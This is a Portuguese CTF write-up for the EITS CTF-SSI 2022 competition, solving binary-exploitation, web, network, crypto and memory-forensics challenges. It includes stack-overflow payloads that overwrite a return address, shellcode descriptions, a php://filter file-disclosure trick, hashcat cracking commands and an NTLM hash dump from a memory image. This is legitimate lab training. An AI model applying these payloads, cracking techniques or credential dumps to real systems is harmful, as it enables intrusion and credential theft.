Write-Up CTF

Exploração de binário

Overflow para Bebês

Analisando o código fonte pode-se perceber que o exercício se trata de realizar um overflow na variável “buffer” da struct “Object” com o intuito de alterar a variável “variavel” da mesma struct para qualquer valor que não seja 0. Já que buffer se encontra antes de variavel na struct e os valores estão alinhados, qualquer string passada com mais de 32 caracteres irá alterar o valor de variavel e retornar a chave.

```
Oi, tudo bem?
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Parabens, aqui esta a sua flag: eits{c0m3c4nd0_4_3n73nd3r_574ck5}
```

Agora Você no Controle

Similar ao “Overflow para Bebês" mas dessa vez o valor colocado em “variavel” importa. Neste caso pode se usar echo para passar valores específicos de input para o programa, fazendo com que, depois de 32 bytes, o valor passado que dá overflow em “variavel” seja 0xe175babe, satisfazendo o if e nos retornando a flag.

```
[mat@mat overflow2]$ echo -e -n "\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\xbe\xba\x75\xe1" | ./stack
Sera que voce consegue?
> Parabens, aqui esta a sua flag: eits{c0m0_3u_v0u_54b3r_0_0ff537}
```

(para todos os problemas que precisam de input para o programa rodando no servidor através do netcat foi utilizado a aplicação screen, permitindo copiar e colar o payload para o programa já rodando.)

Para Onde Retornar

Outro problema de overflow, porém, neste caso temos que alterar o endereço de retorno na stack para o endereço da função “win”, que nos é dado. Utilizando gdb para analisar a stack pude perceber que, após buffer, existe mais um valor de 8 bytes na stack, e então o endereço de retorno. Utilizando o echo assim como nos outros problemas passei um input composto de 72 bytes + endereço de win.

```
[mat@mat overflow3]$ echo -e -n "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x99\x61\xf5\x5f\x2d\x56\x00\x00" > payload
[mat@mat overflow3]$ screen -S screen -X readreg p payload
[mat@mat overflow3]$ screen -S screen -X paste p
```

```
[mat@mat overflow3]$ ./stack
Toma, para tu: 0x562d5ff56199
> ^@^@^@
```

ShellCode para Iniciantes

Nesse problema era necessário escrever um payload de 32 bytes que seria executado para recuperar a flag. Eu fiquei um bom tempo tentando usar as syscalls “open”, “read” e “write” para abrir o arquivo flag.txt, ler seu conteúdo e depois escrever a flag para stdout, porém, era impossível escrever um payload desse tipo que respeitasse o limite de tamanho, foi então que percebi que a syscall “execve” substitui o processo atual. Escrevi o seguinte código em assembly que pode ser transformado em binário utilizando nasm com a flag “-f bin”, esse payload executa um shell no servidor nos dando acesso aos arquivos e permitindo recuperar a flag com um simples “cat flag.txt”.

Fábrica de ShellCode

Nesse problema, executar um shell não era uma opção pela limitação de 16 bytes para o shellcode, porém, nos era dado o endereço de uma função que retornava a flag. Seguindo o mesmo esquema do ShellCode para Iniciantes, escrevi um código em assembly com duas instruções, “mov rax, (endereço dado)” e “call rax”, isso tinha funcionado localmente porém não funcionava para o programa executado no servidor, ao mudar a segunda instrução para “jmp rax” tudo funcionou e flag foi obtida.

Web

Tudo Nada Filtrado

Para a resolução deste problema, exploramos exploits no URL da página php, utilizando a função php://filter/convert.base64_encode/resource pudemos obter o código do arquivo PHP em base64, depois demos decode no valor e conseguimos obter a chave.

Redes

O Ataque - Acesso Inicial

Para achar essa chave ordenamos o Wireshark por tempo e fomos buscando a chave em cada pacote, até que em um request HTTP no tempo 9.729801 encontramos a chave.

O Ataque - Persistência

Buscando algo que permitiria o atacante manter a persistência encontramos o pacote N° 87 que parece ser o atacante executando um comando na vítima que permitia o atacante executar comandos na máquina da vítima através de mensagens TCP, depois no pacote 112 o atacante insere sua chave pública em “authorized_keys” e a flag pode ser encontrada.

O Ataque - Exiltração

Achamos a chave filtrando o Wireshark por DNS e vendo que atacante.com.br tinha as letras que formavam a chave precedendo sua URL

Um ladino nos fios

Primeiro executei o programa e percebi que estava preso, mas deu pra assumir que o objetivo era mover o personagem até o F (flag). Abri o Wireshark e filtrei para apenas packets com o ip 18.231.175.118, foi fácil perceber com alguns movimentos que as packets enviadas pelo cliente que possuíam dados do tipo “00040008” se tratavam de números de 2 bytes que representavam as coordenadas X e Y do movimento. Instalei uma aplicação chamada PacketSender para tentar mandar packets com as informações das coordenadas da flag, depois de um tempo falhando percebi que era necessário mandar uma packet com “MOV” antes de mandar as coordenadas, e então foi simplesmente mandar MOV e depois as coordenadas corretas e o server respondeu com a flag.

Proxy Aberto

Para mim o problema era bem auto explicativo, tive alguns problemas pois o Firefox não permite acessar o IP local utilizando uma proxy porém após mudar as configurações tudo funcionou e era só acessar o endereço dado utilizando o proxy 18.231.175.118:3128.

Criptografia

Introdução ao XOR

O desafio consistia em terminar a implementação de um XOR (um OU exclusivo). Eu já sabia como esse modelo de criptografia funciona, pois já o estudei na disciplina de Segurança da Informação ACH2076. Entretanto, tive dúvidas de como implementá-la em Python, isso foi solucionado graças a uma breve pesquisa no DuckDuckGo. Com isso, o código ficou dessa forma:

```python
def xor(entrada: bytes, chave: int) -> bytes:
    # Faca a implementacao do algoritmo
    return b'texto_criptografado'

if __name__ == '__main__':
    entrada: bytes = b'UseAOperacaoXORAqui'
    chave: int = 32

    texto_criptografado = xor(entrada, chave)
    print(f'Flag: EITS{{{texto_criptografado.decode()}}}')
```

Virou esse código:

```python
def xor(entrada: bytes, chave: int) -> bytes:
    return bytes([b ^ chave for b in entrada])

if __name__ == '__main__':
    entrada: bytes = b'UseAOperacaoXORAqui'
    chave: int = 32

    texto_criptografado = xor(entrada, chave)
    print(f'Flag: EITS{{{texto_criptografado}}}')
```

Que produz essa saída:

```
PS C:\Users\felma\OneDrive\Área de Trabalho\Lessons\ctf\cripto> python .\challengetwo.py
Flag: EITS{uSEaoPERACAOxoraQUI}
```

1 Byte XOR

Este exercício aparenta ser uma continuação do anterior, então posso aproveitar a função XOR do desafio anterior. Mas, só isso não será suficiente para superar esse desafio, para simplificar abaixo eu listei as dificuldades enfrentadas:

1. converter a imagem em algo que eu possa usar o XOR
2. encontrar a chave certa para descriptografar corretamente

Para resolver o problema 1 eu abri a imagem com a função *open()* do Python com o atributo “rb” e usei o *read()* para armazenar os dados e guardei numa variável do tipo *byte* que pode ser usada na função XOR.

Agora o problema 2. A Jiji esqueceu a chave, mas o enunciado diz que é um “1 Byte XOR”, logo a chave é de um byte que pode ter 2^8 possibilidades (256 para ser mais prático).
Bom, pra uma pessoa pode parecer muito, mas para uma máquina isso é muito pouco. Então eu decidi criar um código que testa todas as possibilidades (0000, 0001, 0010, …,

1111). Para não entupir meu diretório de tentativas frustradas, eu decidi usar um método que abre imagens, coloquei dentro de um try/catch, e no catch eu coloquei um método que apaga a imagem (caso não tenha dado para abrir).

O código ficou assim:

```python
import os
from PIL import Image

def xor(entrada: bytes, chave: int) -> bytes:
    return bytes([b ^ chave for b in entrada])

def main():
    with open('hecker_da_jiji_criptografado.png', 'rb') as f:
        data = f.read()
        entrada: bytes = b''+data
        for i in range(256):
            p: bytes = xor(entrada, i)
            ind = str(i)
            image = "./r"+ind+".png"
            with open(image, 'wb') as n:
                n.write(p)
                n.close()
            try:
                with Image.open(image) as img:
                    img.show()
                return 0
            except Exception as e:
                print(e)
                os.remove(image)
    f.close()


main()
```

Saída:

Introdução ao Hash

Para este desafio, simplesmente foi necessário jogar a chave md5 em um site que faria seu decrypt, obtendo assim a senha, que era “senhasecreta”.

Hash com sal?

Com a dica de usar o hashcat, foi relativamente fácil resolver esse desafio, o principal desafio foi tentar identificar o tipo de criptografia. Geralmente, para usar o comando para descriptografar é necessário especificar o arquivo com o **texto criptografado**, uma **wordlist** e determinar as flags **m** (modelo de criptografia) e **a** (modelo de ataque). O texto criptografado(hash.txt) e a wordlist(rockyou-10000.txt) já foram fornecidos, o modelo de ataque é o 0 (Dictionary attack, pq a gente tá usando uma lista) e o **m** foi mais complicado, eu tentei o primeiro da lista de exemplos que tinha sal (MD5 pass.salt) cujo código é o 10.
Com isso o comando fica esse aqui:

“.\hashcat.exe -m10 -a0 .\wordlists\hash.txt .\wordlists\rockyou-10000.txt”

E a saída foi:

“8c40bc93e15c20d224813f8db0917660:EachInTheShell_1357924680:**crazyfrog**”
Peguei o “crazyfrog” e botei dentro de um “EITS{}”, tentei e… foi!

Hash combinado

O sucessor do “hash com sal?” poderia ter causado mais dor de cabeça, mas com eu já tinha lido a documentação, eu sabia que teria que bastaria mudar o modelo de ataque e de criptografia, o **a** foi fácil (é o 1, Combinator attack), o **m** foi mais difícil, eu tive que ver quais tipos eram mais comuns e que tinham a opção de incluir um sal. Após um tempo procurando eu me deparei com o 1410 (sha256(pass.salt)) e tentei:

“.\hashcat.exe -m1410 -a1 .\wordlists\hash2.txt .\wordlists\rockyou-10000.txt .\wordlists\rockyou-10000.txt”

e a saída foi:

“391377c67a5c429e54a5e288e1bd67ec460b3344fa3f872c20ae33729f38b414:eachinthesh ell:**parkourREBELDE**”

Mesmo procedimento do a desafio de hash anterior, coloca dentro do “EITS{}” e é só partir pro abraço.

Introdução RSA pt. 1

Primeiro, decidi pesquisar sobre como o RSA funciona e depois em como implmentá-lo em python. Após isso, eu completei o método “rsa” e o executei.

método:

```python
def rsa(m: int, e: int, n: int) -> int:
    c = pow(m, e, n)
    return int(c)
```

saída:

```
PS C:\Users\felma\OneDrive\Área de Trabalho\Lessons\ctf\cripto> python challenge.py
texto_plano='mensagem secreta'
texto_plano_int=145412513729707982845280983604141585505
texto_cifrado_int=347222263738200798104980661965742831781329235710769436874142
Flag: EITS{347222263738200798104980661965742831781329235710769436874142}
```

Introdução RSA pt. 2

A parte 2 pedia que nós fizéssemos um algoritmo para descriptografar mensagens que forma criptografadas usando RSA. O algoritmo é muito semelhante ao de criptografar, as únicas substituições necessárias são trocar “m” por “c” e “e” por “d”, mas isso não foi possível de imediato, pois o “d” não foi fornecido. Para estimar o “d” é necessário esta formula:

```python
# Como calcular o parametro d?
phi: int = (p-1)*(q-1)
d: int = int(pow(e,-1,phi))
```

E ao executar com as devidas substituições, tivemos:

```
PS C:\Users\felma\OneDrive\Área de Trabalho\Lessons\ctf\cripto> python challengethree.py
texto_criptografado_int=587670195817513805313533194337656909615289811020091487363348085272671967060866064172661143302511571420262702948322930216629665523954386386746077989043016916265169521374994749648525840303988264618013547281245032772876911857764342146286333067551225440037789117963665253932206610224733445498432391666263545896233581839967174771836335513322326815602294790238179662735567419083129785903409838209026703829333351239058375866477074824769314849957696016141889307889282218518621111187455470371324040426806134475787496221558584342388743674321879331076744405584856883920701555385262017290939186318002692949078834574234586298625370879574672479773565658203082228140383129259433852066972468948835171296847466021513206066165335046199022280202863703611081030292813102342409259773393775702463768415371838823691193208277858593950398157935855910574531783318634327741662776664318397020312027209882494244187934890501336821897058460213318256718042136327303135400616634345287442789450012908411375679885509024027194581074660664725958545786032473062236323907730285850421839681830108620604231199754651721856954405873511330569678039262633185575392974047805789457366812727494616817616500522914459056456371316158293129689786386162244316452213340275706765672091320
texto_decriptografado_int=552249680814292523753194536388590591807619283541804342657234044243 3
texto_decriptografado='4pr3nD1_a_d3cr1pToGraf4r_R5A'
Flag: EITS{4pr3nD1_a_d3cr1pToGraf4r_R5A}
```

Forense

Um pássaro? Um avião?

A foto continha a flag no canto esquerdo, escondida por ser uma cor semelhante à do céu da foto.

Dinossauros por toda parte...

A primeira coisa que sempre penso sobre informações escondidas em uma foto são os metadados, e tava certo :)

```
[mat@mat dinossauros]$ identify -verbose dinossauros.jpeg | grep EITS
      Image Name[2,5]: EITS{VeR_M3t4Dad05_d3_1m4g3NS}
```

Onde está Roberto?

Para a resolução deste problema baixamos o jpeg do caio e primeiro utilizamos uma extração steghide no caio com a senha caio:

```
┌──(root㉿kali)-[~/Área de trabalho]
└─# steghide extract -sf 'frog.jpeg' -p caio -xf 'oiroberto.jpeg'
wrote extracted data to "oiroberto.jpeg".
```

Logo em seguida fizemos uma extração com a senha roberto, enfim conseguimos um txt com a chave do desafio

```
┌──(root㉿kali)-[~/Área de trabalho]
└─# steghide extract -sf 'oiroberto.jpeg' -p roberto -xf 'robertoGostoso.txt'
wrote extracted data to "robertoGostoso.txt".
```

Dump - Arquivo

O desafio nos forneceu um link para um arquivo .raw (um dump de memória). E em seguida nos perguntava qual o profile que deveria ser utilizado para analisar o dump de memória com volatility **2**.

Até ai beleza, fui baixar o volatility ”2”, mas quando entrei no site deles, vi que tinha o volatility 3, que usa Python 3. Então, eu decidi baixar esse mesmo, afinal se tem o 3, para que o 2. Só que como você já deve estar pensando, não foi uma boa escolha, já que o volatiility 3 não usa profile. Logo eu fiquei usando ele e várias ferramentas, tipo o hashdump que me permitiu ter acesso ao hash da senha da jiji e os pslist, cmdline que me permitiram ver os últimos processos que ela tava executando (computação_forense.txt e Quebra_Cabeca_jiji.exe). Tentei usar essas informações como flag para resolver esse desafio, mas nenhuma destas eram a flag (ainda!).

Depois de quebrar muito a cabeça, decidi perguntar pro pessoal do EitS se o Volatiity 2 era realmente obrigatório para resolver o desafio, ou se o 3 bastava. A resposta foi óbvia, se ta no enunciado é para usar. Então, eu voltei e baixei o 2, usei o comando que faz uma análise da imagem, que poderia me fornecer os possíveis candidatos a Profile. Comando:

“.\volatility_2.6_win64_standalone.exe imageinfo -f ..\imgs\jiji_mem.raw”

E a saída foi:

```
PS C:\hacktools\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe imageinfo -f ..\imgs\jiji_mem.raw
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win8SP0x64, Win81U1x64, Win2012R2x64_18340, Win2012R2x64, Win2012x64, Win8SP1x64_18340, Win8SP1x64 (Instantiated with Win8SP1x64)
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (C:\hacktools\imgs\jiji_mem.raw)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf8038c125530L
          Number of Processors : 1
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8038c182000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2022-11-01 22:38:33 UTC+0000
     Image local date and time : 2022-11-01 20:38:33 -0200
```

Depois e decidi testar o primeiro Profile sugerido (Win8SP0x64), com o seguinte comando:

“.\volatility_2.6_win64_standalone.exe -f ..\imgs\jiji_mem.raw --profile=Win8SP0x64 pslist”

E a saída foi:

```
Volatility Foundation Volatility Framework 2.6
Offset(V)          Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------
0xffffe000cd67a900 System                    4      0     90        0 ------      0 2022-11-01 22:33:50 UTC+0000
0xffffe000cee46900 smss.exe                280      4      2        0 ------      0 2022-11-01 22:33:50 UTC+0000
0xffffe000cf26d080 csrss.exe               364    340      8        0      0      0 2022-11-01 22:33:53 UTC+0000
0xffffe000cd71e080 wininit.exe             420    340      1        0      0      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cd71b080 csrss.exe               432    412     10        0      1      0 2022-11-01 22:33:54 UTC+0000
0xffffe000ceec2380 winlogon.exe            472    412      5        0      1      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cf5790c0 services.exe            496    420      4        0      0      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cf5cd900 lsass.exe               504    420      6        0      0      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cf031900 svchost.exe             580    496     10        0      0      0 2022-11-01 22:33:54 UTC+0000
0xffffe000ce677780 svchost.exe             608    496      9        0      0      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cf6335c0 dwm.exe                 700    472      7        0      1      0 2022-11-01 22:33:54 UTC+0000
0xffffe000cf616900 svchost.exe             788    496     20        0      0      0 2022-11-01 22:33:55 UTC+0000
0xffffe000cf6e8900 svchost.exe             820    496     41        0      0      0 2022-11-01 22:33:55 UTC+0000
0xffffe000cf792080 svchost.exe             868    496     16        0      0      0 2022-11-01 22:33:55 UTC+0000
0xffffe000cf6e4900 svchost.exe             928    496     10        0      0      0 2022-11-01 22:33:55 UTC+0000
0xffffe000cf747640 svchost.exe             296    496     15        0      0      0 2022-11-01 22:33:56 UTC+0000
0xffffe000cf7de900 spoolsv.exe             724    496      9        0      0      0 2022-11-01 22:33:56 UTC+0000
0xffffe000cf847240 svchost.exe             948    496     21        0      0      0 2022-11-01 22:33:56 UTC+0000
0xffffe000cf7d7780 VGAuthService.         1248    496      2        0      0      0 2022-11-01 22:33:57 UTC+0000
0xffffe000cf956080 vm3dservice.ex         1272    496      2        0      0      0 2022-11-01 22:33:57 UTC+0000
0xffffe000ce3bc900 vm3dservice.ex         1292   1272      2        0      1      0 2022-11-01 22:33:57 UTC+0000
0xffffe000ce3be900 vmtoolsd.exe           1300    496     12        0      0      0 2022-11-01 22:33:57 UTC+0000
0xffffe000cf9f8900 MsMpEng.exe            1324    496     21        0      0      0 2022-11-01 22:33:57 UTC+0000
0xffffe000cfc5b0c0 dllhost.exe            1752    496     14        0      0      0 2022-11-01 22:34:00 UTC+0000
0xffffe000cf746900 WmiPrvSE.exe           1824    580      9        0      0      0 2022-11-01 22:34:00 UTC+0000
0xffffe000cfcc9900 taskhostex.exe         2044    820     10        0      1      0 2022-11-01 22:34:02 UTC+0000
0xffffe000cf972840 explorer.exe            356   1164     49        0      1      0 2022-11-01 22:34:02 UTC+0000
0xffffe000cfd02900 msdtc.exe              2052    496     12        0      0      0 2022-11-01 22:34:02 UTC+0000
0xffffe000cfde1900 svchost.exe            2220    496      8        0      0      0 2022-11-01 22:34:03 UTC+0000
0xffffe000cf5ea200 SearchIndexer.         2508    496     12        0      0      0 2022-11-01 22:34:05 UTC+0000
0xffffe000cffb4900 GoogleCrashHan         2708   1144      3        0      0      1 2022-11-01 22:34:06 UTC+0000
0xffffe000cfc18640 GoogleCrashHan         2784   1144      3        0      0      0 2022-11-01 22:34:06 UTC+0000
0xffffe000cfd0e340 vmtoolsd.exe           2832    356      7        0      1      0 2022-11-01 22:34:15 UTC+0000
0xffffe000cfb74900 WmiPrvSE.exe           2888    580      9        0      0      0 2022-11-01 22:34:18 UTC+0000
0xffffe000cfeea540 WWAHost.exe             900    580     24        0      1      0 2022-11-01 22:34:45 UTC+0000
0xffffe000cf15b900 RuntimeBroker.         1712    580      4        0      1      0 2022-11-01 22:34:47 UTC+0000
0xffffe000ce04f900 svchost.exe            2980    496      1        0      0      0 2022-11-01 22:34:56 UTC+0000
0xffffe000ce9c3400 taskeng.exe            2720    820      2        0      0      0 2022-11-01 22:35:37 UTC+0000
0xffffe000cfdbb900 Quebra_cabeca_         2232    356      1        0      1      1 2022-11-01 22:36:08 UTC+0000
0xffffe000cfd92080 conhost.exe            2560   2232      2        0      1      0 2022-11-01 22:36:08 UTC+0000
0xffffe000cfd1f080 notepad.exe             656    356      1        0      1      0 2022-11-01 22:36:08 UTC+0000
0xffffe000ce0d3900 chrome.exe             2604    356     28        0      1      0 2022-11-01 22:36:09 UTC+0000
0xffffe000cfbf4780 chrome.exe             2300   2604      8        0      1      0 2022-11-01 22:36:09 UTC+0000
```

E como o comando retornou corretamente, isso quer dizer que o Profile também é o certo. Então, eu corri, peguei o Profile e botei dentro de um “EITS{}” mandei e… deu certo!

Dump - Flag #1

A palavra ambiente instantaneamente me remeteu as variáveis de ambiente do Windows, então busquei algum plugin do volatility para recuperar esses valores e o utilizei o seguinte comando do volatility 3:

```
[mat@mat dump]$ vol -f jiji_mem.raw windows.envars | grep V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
2044resstaskhostex.exe  0x96cb861300scan53gRed0nV4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
356     explorer.exe    0x2b1330        53gRed0 V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
2832    vmtoolsd.exe    0xd120c31330    53gRed0 V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
900     WWAHost.exe     0xd069f213d0    53gRed0 V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
1712    RuntimeBroker.  0xba6ad31300    53gRed0 V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
2232    Quebra_cabeca_  0x611330        53gRed0 V4r1av3I5_d3_4mb13nT3S_P0d3M_N4o_5eR_T40_S3gur4S
```

(Obviamente sem o grep, só pra deixar o output mais bonitinho)

Dump - Flag #2

O objetivo era encontrar o arquivo que falava sobre computação forense. Bom, na seção “dump - arquivo”, eu encontrei um arquivo chamado “computação_forense.txt” usando o cmdline, eu decidi armazenar a saída do programa num arquivo txt, assim:

```
svchost.exe pid:   2980
Command line : C:\Windows\System32\svchost.exe -k wsappx
**********************************************************************
taskeng.exe pid:   2720
Command line : taskeng.exe {BA8EDA0A-FCE7-4E9A-88B4-15CE67AF0C0C}
**********************************************************************
Quebra_cabeca_ pid:   2232
Command line : "C:\Users\Jiji\Desktop\Quebra_cabeca_Jiji.exe"
**********************************************************************
conhost.exe pid:   2560
Command line : \??\C:\Windows\system32\conhost.exe 0x4
**********************************************************************
notepad.exe pid:    656
Command line : "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Jiji\Desktop\Computa├º├úo_forense.txt
**********************************************************************
chrome.exe pid:   2604
Command line : "C:\Program Files\Google\Chrome\Application\chrome.exe"
**********************************************************************
```

Algo interessante é que o PID foi fornecido também, com isso eu pude usar o comando abaixo:

“.\volatility_2.6_win64_standalone.exe -f ..\imgs\jiji_mem.raw --profile=Win8SP0x64 memdump --dump-dir=./ -p 656”

Para extrair o processo 656 (computação_forense.txt) do dump.

saída:

```
PS C:\hacktools\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe -f ..\imgs\jiji_mem.raw --profile=Win8SP0x64 memdump --dump-dir=./ -p 656
Volatility Foundation Volatility Framework 2.6
************************************************************************
Writing notepad.exe [   656] to 656.dmp
```

Após isso, eu usei a dica do enunciado do desafio, e usei o comando strings para ter acesso ao conteúdo dele. O ideal seria usar um grep com o | (pipe) pra ajudar na busca, mas eu uso o Windows, que não tem grep ;-;. O jeito foi tentar usar o findstr que deveria ser o “equivalente” do grep, mas não deu muito certo. Eu busquei por “eits”, “key”, “chave” e etc, até usei regex, mas não obtive resultados. Então, eu decidi usar o jeito primata, peguei a saída do comando strings, coloquei num arquivo txt e dei ctrl+f buscando por alguns termos promissores. Depois de muitas buscas, eu decidi tentar buscar por “forense”, eventualmente eu encontrei um textinho falando sobre o assunto e no final dele estava a flag.

trecho do texto:

```
s que estudou sistematicamente os efeitos da morte violenta em
os internos[15][16] e dois cirurgi
es italianos, Fortunato Fidelis e Paolo Zacchia, que lan
aram as bases da patologia moderna estudando as mudan
as ocorridas na estrutura do corpo como resultado de enfermidades.[17] No final do s
culo XVIII, os estudos sobre o tema ficaram em evidencia devido a obras como "Um Tratado sobre Medicina Forense e Sa
de P
blica" pelo m
dico franc
s Francois Immanuele Fod
[18] e "O Sistema Completo de Medicina da Pol
cia" pelo m
dico perito alem
o Johann Peter Frank.[19]
Como os valores racionais da
poca do Iluminismo estavam cada vez mais permeado a sociedade do s
culo XVIII, a investiga
o criminal tornou-se um procedimento mais baseado em evid
ncias, racional
 o uso de tortura para for
ar confiss
es foi reduzido e a cren
a em bruxaria e poderes ocultos deixaram de influenciar as decis
es de tribunais.
3sQueC1oN0t3pAd4b3rt0_fd931a78d
```

Dump - Flag #3

Lembra que eu disse que tinha achado o hash da senha da jiji usando o volatility 3? (Tá na seção do Dump - Arquivo) Então, parece que não foi perda de tempo, já que o desafio aqui é encontrar o hash da senha dela. Eu tinha usado o volatility 3, mas deve ter um comando correspondente com volatility 2.

Comando do volatility 3:

“python vol.py -f ..\imgs\jiji_mem.raw windows.hashdump”

Saída:

```
PS C:\hacktools\volatility3-1.0.0> python vol.py -f ..\imgs\jiji_mem.raw windows.hashdump
Volatility 3 Framework 1.0.0
Progress:  100.00               PDB scanning finished
User    rid     lmhash  nthash

Administrador   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Convidado       501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Jiji    1001    aad3b435b51404eeaad3b435b51404ee        6ff7c86a0b4de615e1d7fc9cfa4546fe
```

Peguei o hash e de novo botei dentro de um “EITS{}” e finalmente esse hash teve utilidade.

Dump - Flag #4

O objetivo é recuperar um .exe e seu conteúdo. O executável já havia sido descoberto nas seções anteriores, agora só faltava a segunda parte. Pra isso eu usei o procdump com o PID do processo (que foi descoberto usando o cmdline).
comando:
“.\volatility_2.6_win64_standalone.exe -f ..\imgs\jiji_mem.raw --profile=Win8SP0x64 procdump -p 2232 --dump-dir ./”

saída:

```
PS C:\hacktools\volatility_2.6_win64_standalone> .\volatility_2.6_win64_standalone.exe -f ..\imgs\jiji_mem.raw --profile=Win8SP0x64 procdump -p 2232 --dump-dir ./
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xffffe000cfdbb900 0x0000000000400000 Quebra_cabeca_       OK: executable.2232.exe
```

rodando o .exe no terminal temos:

```
PS C:\hacktools\volatility_2.6_win64_standalone> .\executable.2232.exe

EITS{Pr0c35So5_4b3RtO5_n4_M3mor1A}
```

e com isso terminamos os desafios de dump.
:)

Misc

Teste de sanidade

Demorou mais do que gostaríamos de admitir, mas eventualmente alguém percebeu que talvez a flag nas regras tinha algum uso.

Social

A flag foi encontrada na descrição do canal #geral, na aba CTF-SSI 2022, no discord do Each InTheShell.